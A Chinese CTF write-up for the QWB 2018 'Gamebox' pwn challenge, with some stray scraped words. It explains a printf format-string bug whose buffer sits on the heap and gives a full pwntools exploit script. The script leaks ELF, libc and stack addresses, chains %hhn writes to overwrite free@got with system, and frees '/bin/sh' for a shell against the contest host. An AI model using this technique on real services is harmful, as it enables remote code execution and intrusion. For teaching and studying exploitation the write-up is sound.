【強網杯2018】Gamebox

參考:html

https://www.cnblogs.com/hac425/p/9416787.htmlpython

http://tacxingxing.com/2018/03/28/2018qwb/

linux

過後覆盤pwn,對於Gamebox一題發現網上wp都是大佬們利用堆玩出花,本菜雞看到有printf格式化字符串漏洞,並且也沒有防禦,就想試試。可是難點在於printf(s)的s在堆上shell

 

因爲printf(s)的s在堆上,利用起來沒有棧上好用,須要在棧上找到這麼一塊內存。
stack: param 15 -> param 41 -> param X -> free@got (X每次運行都不一樣,須要計算)
經過 %10c%15$hhn 修改 param 41 的內容
經過 %10c%41$hhn 修改 param X 的內容,讓其指向free@got
經過 %10c%966$hhn 修改 free@got的內容spa


若是沒有param15,那麼 param 41修改param X就會比較困難,hhn改1字節,hn改2字節,使用%n會不穩定。原來param X的內容極可能在棧上,須要修改3字節甚至更多,因此多一個param 15控制param 41,讓整個格式化控制鏈更容易。debug

 

#!/usr/bin/env python2
# -*- coding:utf8 -*-
# execve generated by ROPgadget

import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger


#context(os='linux', arch='i386', log_level='debug') #i386 or amd64

#用python xxx.py elf 1調用遠程
local = len(sys.argv) == 2

elf = ELF(sys.argv[1])

if local:
    io = process(sys.argv[1])
    #libc = ELF("/lib/i386-linux-gnu/libc.so.6") #32bit
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #64bit
    #raw_input("wait for debugger:")
    #io = remote("localhost", 10001)
else:
    io = remote("106.2.25.7", 8001)
    libc = ELF("libc-2.23.so")

    
"""
puts("Welcome to Pig's GameBox!");
puts("(P)lay GUESS WORDS");
puts("(S)how RANK");
puts("(D)elete RANK");
puts("(C)hange RANK");
puts("(E)xit");
"""

def fuzz_guess_words(code,name_len,name):
    io.sendlineafter("(E)xit","P")
    io.sendlineafter("what I write:",code)
    pass
    
def play_guess_words(code,name_len,name):
    io.sendlineafter("(E)xit","P")
    io.sendlineafter("what I write:",code)
    io.sendlineafter(" name length:",str(name_len))
    io.sendlineafter("your name:",name)

def show_rank():
    io.sendlineafter("(E)xit","S")
    
def delete_rank(idx,code):
    io.sendlineafter("(E)xit","D")
    io.sendlineafter("Input index:",str(idx))
    io.sendlineafter("Input Cookie:",code)
    
s = """
NWLRBBMQBHCDARZOWKKYHIDD
QSCDXRJMOWFRXSJYBLDBEFSA
RCBYNECDYGGXXPKLORELLNMP
APQFWKHOPKMCOQHNWNKUEWHS
QMGBBUQCLJJIVSWMDKQTBXIX
MVTRRBLJPTNSNFWZQFJMAFAD
RRWSOFSBCNUVQHFFBSAQXWPQ
CACEHCHZVFRKMLNOZJKPQPXR
JXKITZYXACBHHKICQCOENDTO
MFGDWDWFCGPXIQVKUYTDLCGD
EWHTACIOHORDTQKVWCSGSPQO
QMSBOAGUWNNYQXNZLGDGWPBT
RWBLNSADEUGUUMOQCDRUBETO
KYXHOACHWDVMXXRDRYXLMNDQ
TUKWAGMLEJUUKWCIBXUBUMEN
MEYATDRMYDIAJXLOGHIQFMZH
LVIHJOUVSUYOYPAYULYEIMUO
TEHZRIICFSKPGGKBBIPZZRZU
CXAMLUDFYKGRUOWZGIOOOBPP
LEQLWPHAPJNADQHDCNVWDTXJ
BMYPPPHAUXNSPUSGDHIIXQMB
FJXJCVUDJSUYIBYEBMWSIQYO
YGYXYMZEVYPZVJEGEBEOCFUF
TSXDIXTIGSIEEHKCHZDFLILR
JQFNXZTQRSVBSPKYHSENBPPK
QTPDDBUOTBBQCWIVRFXJUJJD
DNTGEIQVDGAIJVWCYAUBWEWP
JVYGEHLJXEPBPIWUQZDZUBDU
""".replace("\n","").replace(" ","")
codes = [s[i*24:i*24+24] for i in range(len(s)/24)]
# print "codes",len(codes)

#fuzz the code
# wait_for_debugger(io.pid)
# while True:
    # fuzz_guess_words('a',20,"aa")

cidx = 0
#leak elf base
play_guess_words(codes[cidx],20,"%9$p..")
cidx +=1
#leak libc base
play_guess_words(codes[cidx],20,"%13$p..")
cidx +=1
#leap rsp
play_guess_words(codes[cidx],20,"%8$p..")
cidx += 1
#leap param 41
play_guess_words(codes[cidx],20,"%41$p..") #打印%41處地址
cidx += 1

#一個show_rank能夠一次泄露,也能夠屢次show_rank
show_rank()

io.recvuntil("0:")
main_addr = int(io.recvuntil("..",drop=True),16) - 0x61
elf_base = main_addr - 6260
success("elf_base: %x"%elf_base)

io.recvuntil("1:")
__libc_start_main_addr = int(io.recvuntil("..",drop=True),16) - 0xf0
libc_base = __libc_start_main_addr - libc.symbols["__libc_start_main"]
success("libc_base: %x"%libc_base)


system_addr = libc_base + libc.symbols["system"]
free_addr = libc_base + libc.symbols["free"]
free_got = elf_base + elf.got["free"]
success("system_addr: %x"%system_addr)
success("free_addr: %x"%free_addr)
success("free_got: %x"%free_got)


io.recvuntil("2:")
rsp_addr = int(io.recvuntil("..",drop=True),16) - 0x30
success("rsp address: %x"%rsp_addr)

#stack: param15 -> param41 -> param X(未對齊)
io.recvuntil("3:")
param_41_addr = int(io.recvuntil("..",drop=True),16)
success("param 41 content: %x"%param_41_addr)

# 清理
delete_rank(0,codes[0])
delete_rank(1,codes[1])
delete_rank(2,codes[2])
delete_rank(3,codes[3])

def hhn_payload(x,pos):
    if x == 0:
        payload = pos
    else:
        payload = "%"+str(x)+"c"+ pos
        
    return payload

def hn_payload(x,pos):
    if x == 0:
        payload = pos
    else:
        payload = "%"+str(x)+"c"+ pos
        
    return payload

#修正param_41_addr與棧對齊    
#stack: param15 -> param41 -> param X(已對齊)
if param_41_addr % 8 != 0:
    diff = 8 - param_41_addr %8 #須要進位7fff0ecdd2fd
    hn = (param_41_addr + diff) & 0xffff
    payload = hn_payload(hn,"%15$hn")
    play_guess_words(codes[cidx],20,payload)
    show_rank()
    delete_rank(0,codes[cidx])
    cidx += 1
    param_41_addr += diff
    success("param 41 content adjust: %x"%param_41_addr)


#將param X內容改成free_got
for i in range(8):
    #修改一位param X
    hhn = ((free_got >> (8*i) & 0xff))%256
    # print 'hhn',i,hhn
    payload = hhn_payload(hhn,"%41$hhn")
    
    play_guess_words(codes[cidx],20,payload)
    show_rank()
    delete_rank(0,codes[cidx])
    cidx += 1
    
    if i == 7:
        break
    
    #修改一位param 41
    hhn = (param_41_addr + i + 1)&0xff
    payload = hhn_payload(hhn,"%15$hhn")
        
    play_guess_words(codes[cidx],20,payload) #param41 += 1
    show_rank()
    delete_rank(0,codes[cidx])
    cidx += 1

#修改param41對應的地方,是程序名處,因此ida2pwntools就不能用了:P
#接下來就不能delete了,通常free_addr和system_addr相差3位



#先將param41的內容歸位,指向param X(對齊)處。這裏有可能進位了,可是機率比較少
hn = (param_41_addr)&0xffff
payload = hn_payload(hn,"%15$hn a")
play_guess_words(codes[cidx],20,payload) 
cidx += 1

param_idx = (param_41_addr - rsp_addr)/8 + 6 #8字節對齊,前6位在寄存器中
success("param_idx: %d"%param_idx)
for i in range(3):
    #修改free_got低3字節
    hhn = ((system_addr >> (8*i) & 0xff))%256
    payload = hhn_payload(hhn,"%"+str(param_idx)+"$hhn b"+str(i))
    play_guess_words(codes[cidx],20,payload)
    cidx += 1
    
    if i == 2:
        break
    
    #修改 paramX -> free_got[i+1]
    hhn = (free_got + i + 1)&0xff
    payload = hhn_payload(hhn,"%41$hhn c"+str(i))
    play_guess_words(codes[cidx],20,payload) 
    cidx += 1
    
#構造好串:param41的內容歸位,修改free_got[0],修改param943+=1,修改free_got[1],修改param943+=1,修改free_got[2]
# wait_for_debugger(io.pid)
show_rank()

# 用free("/bin/sh") 進行 get_shell
play_guess_words(codes[cidx],20,"/bin/sh") 
delete_rank(6,codes[cidx])
cidx +=1 

io.interactive()

 

僅作記錄,若有不妥請大佬們指正。  code

相關文章
相關標籤/搜索